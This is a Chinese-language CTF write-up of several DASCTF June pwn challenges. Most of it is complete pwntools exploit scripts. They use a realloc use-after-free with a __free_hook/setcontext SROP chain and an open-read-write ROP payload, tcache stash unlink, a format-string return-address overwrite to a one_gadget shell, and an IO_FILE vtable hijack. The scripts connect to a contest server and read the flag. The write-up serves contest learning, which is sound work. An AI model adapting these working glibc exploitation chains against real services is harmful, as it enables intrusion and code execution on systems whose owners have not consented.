DASCTF 6月部分pwn wp

感覺質量挺高的,有點昏迷,

Memory-Monster-IV

這個題我是真的服了,噁心了我一天時間,最後還是沒出,知道是要改got表,而且每次只能改一個字節,第一次改後變成ret之類的無用函數,我是不想說啥,沒復現出來,貼下作者的分析把:
http://taqini.space/2020/06/26/DASCTF-June-Memory-Monster-IV-200pt/
我感覺能學到的東西不太多,至少知識是很簡單的,就是你能不能調出來的問題。Orz。

oooooorder

這個題我其實一開始沒找到洞,Whali3n51師傅一眼看出來了,Orz,
具體就是realloc函數的洞,當size=0時,heap會free掉,這樣就形成了UAF了。知道這個洞,其實就很簡單了,個人感覺是第一天內最好做的.
沙盒的話,用到了setcontext裏的一段ROP,具體如下圖所示
在這裏插入圖片描述
如圖,如果我們能控制了rdi,也就可以控制所有寄存器。這裏,我用這段ROP調用read函數,然後輸入ORW的rop來讀flag

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('oooorder')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./oooorder')

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter("Your choice :\n","1")
		p.sendlineafter("How much is the order?\n",str(size))
		p.sendafter("Order notes:\n",content)
	def edit(index,content):
		p.sendlineafter("Your choice :\n","2")
		p.sendlineafter("Index of order:\n",str(index))
		p.sendafter("Order notes:\n",content)
	def show():
		p.sendlineafter("Your choice :\n","3")
	def free(index):
		p.sendlineafter("Your choice :\n","4")
		p.sendlineafter("Index of order:\n",str(index))

	for i in range(9):
		add(0x100,"x")
	add(0x10,"/bin/sh\x00")
	add(0x10,'x')
	add(0x10,'x')
	for i in range(8):
		free(i)
	add(0,'x')
	add(0,'x')
	show()
	p.recvuntil("[0]:")
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	print "main_arena=",hex(main_arena)
	#--link addr
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=main_arena-(0x7f9cfbb15ca0-0x7f9cfb72a000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	setcontent_addr=libcbase_addr+libc.symbols["setcontext"]
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	open_addr=libcbase_addr+libc.symbols['open']
	read_addr=libcbase_addr+libc.symbols['read']
	puts_addr=libcbase_addr+libc.symbols['puts']


	p.sendlineafter("Your choice :\n","2")
	p.sendlineafter("Index of order:\n","0")
	free(9)
	free(0)
	free(1)
	add(0x10,"\xa0")
	show()
	p.recvuntil("[0]:")
	heap_addr=u64(p.recv(6).ljust(8,"\x00"))

	orw=p64(pop_rdi_ret)+p64(heap_addr-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)		+p64(heap_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(heap_addr)+p64(puts_addr)+"flag\x00"

	#---payload
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rax = 0
	frame.rsi = heap_addr-0x400
	frame.rcx = heap_addr-0x400
	frame.rdx = 0x2000
	frame.rsp = heap_addr-0x400
	frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret; 
	payload = str(frame)

	free(0)
	free(10)
	free(11)
	add(0x100,orw)
	add(0x10,p64(free_hook))
	add(0x100,payload)
	add(0x10,p64(setcontent_addr+0x35))
	print "heap_addr=",hex(heap_addr)
	#gdb.attach(p)
	free(2)
	p.sendline(orw)
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10028,0)

easyheap

這個題不太想說啥,空字節溢出,我當時做完oooooooorder後做的這個,我當時沒做出來,因爲我構造好了準備攻擊malloc_hook的時候,我才發現尼瑪有沙盒!!吐了,真就全員沙盒。這樣的話就需要重新分配堆塊,使用tcache stash unlink來在free_hook附近加入0x7f頭,俗話說一鼓作氣再而衰,改需求一向是程序員大敵。當時我衰了,就沒在配出來…
借鑑了L.o.W的exp:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn2')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./pwn2')

	else:
		p = remote(ip,port)
	def add(index,size,content):
		p.sendlineafter("Your Choice: ","1")
		p.sendlineafter("index>> ",str(index))
		p.sendlineafter("size>> ",str(size))
		p.sendafter("name>> ",content)
	def free(index):
		p.sendlineafter("Your Choice: ","2")
		p.sendlineafter("index>> ",str(index))
	def show(index):
		p.sendlineafter("Your Choice: ","3")
		p.sendlineafter("index>> ",str(index))
	def edit(index,content):
		p.sendlineafter("Your Choice: ","4")
		p.sendlineafter("index>> ",str(index))
		p.sendafter("name>> ",content)
		
	for i in range(7):
		add(0, 0x1f0, 'a')
		free(0)
	for i in range(7):
		add(0, 0x160, 'a')
		free(0)
	for i in range(7):
		add(0, 0x80, 'a')
		free(0)
	for i in range(7):
		add(i, 0x68, 'a')
		free(i)
	for i in range(7):
		add(0, 0xa0, 'a')
		free(0)
	for i in range(6):
		add(0, 0x90, 'a')
		free(0)
	add(0, 0x1f8, 'a')
	add(1, 0x1f0, 'a')
	add(0x13, 0x10, 'a')
	free(0)
	add(0, 0xa0, 'a')
	add(2, 0xa0, 'a')
	free(0)
	add(3, 0x98, 'a'*0x90 + p64(0x200))
	free(1)
	add(0, 0x160, 'a')
	show(3)
	p.recv(16)
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=main_arena-(0x7f6c63123ca0-0x7f6c62d38000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	open_addr=libcbase_addr+libc.symbols["open"]
	read_addr=libcbase_addr+libc.symbols["read"]
	puts_addr=libcbase_addr+libc.symbols["puts"]
	setcontext=libcbase_addr+libc.symbols['setcontext']
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
	pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
	print "main_arena=",hex(main_arena)

	add(1, 0x88, 'a')
	free(0x13)
	add(0x13, 0x1f0, 'a')

	add(4, 0x1f8, 'a')
	add(5, 0x10, 'a')
	free(4)
	add(4, 0x150, 'a')
	add(6, 0x150, 'a')

	free(0)
	free(1)
	add(0, 0x150, 'a')
	add(1, 0x150, 'a') 
	show(3)
	smallbin_fd = u64(p.recv(8))


	add(7, 0x1f8, 'a')
	add(8, 0x1f0, 'a')
	add(9, 0x1f0, 'a')
	free(7)
	add(7, 0xa0, 'a')
	add(10, 0xd0, 'a')
	add(11, 0x68, 'a')
	free(7)
	free(11)
	add(11, 0x68, 'a'*0x60+p64(0x200))
	free(8)
	add(7, 0x180, 'a')
	add(8, 0x68, 'a')
	
	frame = SigreturnFrame()
	frame.rdi = 0
	frame.rax = 0
	frame.rsi = smallbin_fd-0x400
	frame.rcx = smallbin_fd-0x400
	frame.rdx = 0x2000
	frame.rsp = smallbin_fd-0x400
	frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next() #: syscall; ret; 
	payload = str(frame)
	add(12, 0x1f0, payload)
	free(8)

	payload = p64(smallbin_fd)+ p64(free_hook-0x20)
	edit(3, payload)
	add(0x11, 0x98, 'a')
	edit(11, p64(free_hook-0x13))
	add(13, 0x68, 'a')
	payload = 'a'*3 + p64(setcontext+0x35)
	add(14, 0x68, payload)
	gdb.attach(p)
	free(12)
	orw=p64(pop_rdi_ret)+p64(smallbin_fd-0x400+15*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr)
	orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(smallbin_fd)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
	orw+=p64(pop_rdi_ret)+p64(smallbin_fd)+p64(puts_addr)+"flag\x00"
	p.sendline(orw)
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10027,1)

springboard

這個簡單,格式化字符串,利用棧空間內指向棧的指針來更改返回地址實現shell。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('springboard')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./springboard')

	else:
		p = remote(ip,port)
	p.sendlineafter("input your name:","%11$p")
	p.recvuntil("0x")
	libc_addr=int(p.recv(12),16)-231
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
	system_addr=libcbase_addr+libc.symbols["system"]
	binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
	pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()
	one_ge=[0x4f2c5,0x4f322,0x10a38c]
	shell_addr=libcbase_addr+one_ge[2]
	syscall_2_4=int(str(hex(shell_addr))[6:10],16)
	syscall_0_2=int(str(hex(shell_addr))[10:14],16)
	p.sendlineafter("input your name:","%13$p") #---1
	p.recvuntil("0x")
	stack_addr=int(p.recv(12)[8:12],16)-0xe0
	payload="%"+str(stack_addr)+"c%13$hn"
	p.sendlineafter("input your name:",payload)#----2
	payload="%"+str(syscall_0_2)+"c%39$hn"
	p.sendlineafter("input your name:",payload)#----3

	payload="%"+str(stack_addr+2)+"c%13$hn"
	p.sendlineafter("input your name:",payload)#----4
	payload="%"+str(syscall_2_4)+"c%39$hn"
	p.sendlineafter("input your name:",payload)#----5
	#gdb.attach(p,"b *$rebase(0x0956)")
	p.sendlineafter("input your name:","a"*0x20)#----6
	p.sendlineafter("input your name:","a"*0x20)#----7

	
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10029,0)

secret

更改IO_file的vtable,當時我看的時候走了彎路,我想的是利用libc空間的stack指針來更改stack的返回地址,不過由於是修改兩個字節,導致概率變低,如果是修改一個字節,概率是1/16,但修改兩個字節就是1/16^3,我恐怕爆破到比賽結束也把太行。更改vtable面臨的問題就是如何去繞過libc.2.29對vtable的檢測, 這裏有更改的是IO_stderr,更改其vatble_IO_str_jumps
然後修改_IO_str_jumps的指針爲one_gadget就可以了。

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('secret')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./secret')

	else:
		p = remote(ip,port)
	#gdb.attach(p)
	p.recvuntil("secret:0x")
	printf_addr=int(p.recv(12),16)
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=printf_addr-libc.symbols["printf"]
	stderr_addr=libcbase_addr+(0x7fbe49c97758-0x7fbe49ab2000)
	p.sendafter("addr:\n",p64(stderr_addr))
	print "stderr_addr=",hex(stderr_addr)
	fake_std=int(str(hex(stderr_addr))[10:14],16)+0xec8
	p.send(p16(fake_std))
	one_ge=[0xe237f,0xe2383,0xe2386,0x106ef8]
	p.send(p64(0)*2+p64(libcbase_addr+one_ge[2]))
	p.sendline("cat flag >& 0")
	p.interactive()
if __name__ == '__main__':
	pwn('183.129.189.60',10030,1)

寫在最後

第一天跟Memory-Monster-IV槓上了,誰也沒服誰,結果就是我輸了,heap題其實都不太難,只不過麻煩一點,剩下沒復現的倆題應該也都是堆,當時也沒怎麼細看,就暫時不復現了,後天期末了,老子不學了!
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章